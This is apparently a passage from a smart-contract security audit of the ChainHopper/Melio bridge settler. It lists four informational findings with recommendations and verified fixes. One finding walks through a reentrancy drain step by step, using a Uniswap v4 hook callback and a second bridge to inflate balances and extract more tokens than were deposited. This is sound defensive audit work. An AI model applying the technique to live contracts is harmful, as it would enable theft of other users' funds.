5.4.5 Consider following internal function naming conventions

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Summary: In `UniswapV4Proxy.sol` and `UniswapV3Proxy.sol`, the internal functions are not prefixed with a _. For example:

```
function mintPosition(
    UniswapV4Proxy storage self,
    PoolKey memory poolKey,
    int24 tickLower,
    int24 tickUpper,
    uint256 amount0Desired,
    uint256 amount1Desired,
    uint256 amount0Min,
    uint256 amount1Min,
    address recipient
) internal returns (uint256 positionId, uint128 liquidity, uint256 amount0, uint256 amount1) {
```

Recommendation: Consider prefixing with a _.

ChainHopper: Acknowledged.

Spearbit: Acknowledged.

5.4.6 Including a second bridge allows for draining of contract

Severity: Informational

Context: UniswapV4Proxy.sol#L88-L122

Summary: During the kickoff call, it was mentioned that there will be future plans to include other bridging options. However, a second bridging option will allow for draining of funds due to `re-entrancy`.

- Since this commit-hash scope only has 1 method of bridging, this issue will be considered under future additions and will be reported as a Info despite severity.
- The reason behind the draining is because the current code relies on `Across` protocol's `re-entrancy` guard to prevent this attack. If a second bridge is added, Attackers could fill an existing message on the other bridge which will not trigger the re-entrancy guard as it has a different storage from `Across`.

Description: When the `Settler` side receive the message from `Across` it calls a series of functions before calling `mintPosition`:

1. At the start of `mintPosition`, `balance0Before` is recorded.
2. After that it calls the pool on the uniswap v4 side. (The user could specify their own pool and get a callback with their own hooks).
3. The pool accepts the funds fully.
4. In the callback the user can trigger the second bridge to send another message to the Settler.
5. Properties of this message: `DUAL` mode and a new migration Id.
6. Since it is a `DUAL` mode, it will be cached in settlement cached, and the funds will remain in the contract.
7. Back to the original trace, the `amountUsed` calculated will be 0 (or a lesser value) because of the inflated balance.

So, now despite the pool accepting the tokens, `amountUsed` does not reflect, and immediately refunds the user the "non-used amount".

- The initially tokens sent in during the reentrant call being cached, can also then be refunded with the withdraw function.
- **Total accounting:**
  - User sends 10 tokens in.
  - Pool accepts 10 tokens.
  - User sends in 10 more tokens.
  - Due to amountUsed manipulation, 10 tokens refunded.
  - User calls withdraw to refund the 10 tokens sent in during reentrancy.

In all, Settler contract gets 20 tokens, but sends out 30 tokens. Meaning it can be drained (since it holds other users' funds waiting in settlementCached).

Impact: Can drain the contract with double extraction of tokens.

Likelihood: No preconditions, any token can be drained. (But, only possible in future commit hash, hence info severity).

Recommendation: Don't rely on `Across`'s re-entrancy guard, use a re-entrancy guard within Melio.

- Use a re-entrancy guard on: `selfSettle` and `withdraw`;
- or on `handleV3AcrossMessage` and `withdraw`.

ChainHopper: Fixed in commit 462015e9.

Spearbit: Fix verified.

5.4.7 Magic numbers used

Severity: Informational

Context: Settler.sol#L121-L125, UniswapV3Settler.sol#L41

Description: The hardcoded values of `10000`, `100`, and `10_000_000` are used in the codebase.

Recommendation: It is recommended to use constants and comment why the values are are chosen. See Magic number (programming).

ChainHopper: Fixed in commit 449ac026.

Spearbit: Fix verified.

5.4.8 Consider re-wrapping native currency to avoid reverting when sending to contract with no `receive/fallback`

Severity: Informational

Context: Settler.sol#L179

Description: The Melio team confirmed the protocol does not anticipate native currency to be transferred in from Across due to it's own wrapping when sending to contracts. They further note:

> `_transfer()` is only used to send fees and unused `SettlementCache`, in both case it's only `WETH`. So `token == address(0)` shouldn't be reachable.
> However, it is possible that not all unwrapped ETH is consumed during `_mintPosition()` and currently leftovers are refunded via `Currency.transfer()` which has essentially the same code. Could add a check and re-wrap just to be safe.

Recommendation: We agree re-wrapping would eliminate a potential reverting edge case.

ChainHopper: Fixed in commit 1aef8adc.

Spearbit: Fix verified.